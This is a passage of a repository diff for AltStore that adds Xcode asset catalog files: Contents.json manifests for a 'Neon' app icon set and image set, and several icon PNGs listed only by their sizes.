"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 313 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 20 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 1011 B |
|
After Width: | Height: | Size: 1.6 KiB |
|
After Width: | Height: | Size: 2.4 KiB |
|
After Width: | Height: | Size: 4.0 KiB |
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 6.0 KiB |
|
After Width: | Height: | Size: 6.4 KiB |
|
After Width: | Height: | Size: 7.5 KiB |
12
AltStore/Resources/Assets.xcassets/Neon-image.imageset/Contents.json
vendored
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
BIN
AltStore/Resources/Assets.xcassets/Neon-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 18 KiB |
116
AltStore/Resources/Assets.xcassets/Neon.appiconset/Contents.json
Normal file
@@ -0,0 +1,116 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-1024.png
Normal file
|
After Width: | Height: | Size: 501 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-120.png
Normal file
|
After Width: | Height: | Size: 12 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-152.png
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-167.png
Normal file
|
After Width: | Height: | Size: 20 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-180.png
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-20.png
Normal file
|
After Width: | Height: | Size: 972 B |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-29.png
Normal file
|
After Width: | Height: | Size: 1.5 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-40.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-58.png
Normal file
|
After Width: | Height: | Size: 3.8 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-60.png
Normal file
|
After Width: | Height: | Size: 4.1 KiB |
BIN
AltStore/Resources/Assets.xcassets/Neon.appiconset/icon-76.png
Normal file
|
After Width: | Height: | Size: 5.7 KiB |